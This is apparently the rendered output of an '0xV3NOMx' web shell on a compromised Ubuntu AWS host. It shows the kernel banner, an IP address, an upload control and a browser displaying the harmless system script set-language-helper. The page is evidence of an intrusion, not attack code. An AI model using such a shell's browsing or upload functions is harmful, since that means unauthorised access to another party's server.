0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.116.61


Current Path : /proc/self/root/usr/share/language-tools/
Upload File :
Current File : //proc/self/root/usr/share/language-tools/set-language-helper

#!/bin/sh -pe

homedir=$1
language=$2
validated_language=

[ -n "$language" -a -n "$homedir" ] || exit 1

langtoolsdir=/usr/share/language-tools

validated_language=$( $langtoolsdir/language-validate $language )

if ! dpkg -l language-selector-gnome > /dev/null 2>&1; then
    renewed_langlist=$validated_language
elif [ $language = "${language%:*}" ]; then
    renewed_langlist=$( $langtoolsdir/update-langlist $validated_language "$homedir" )
else
    # $language contains a priority list
    renewed_langlist=$validated_language:${language#*:}
fi

locale_name=$( $langtoolsdir/language2locale $validated_language )

( $langtoolsdir/save-to-pam-env "$homedir" $locale_name $renewed_langlist ) || exit 1

echo $validated_language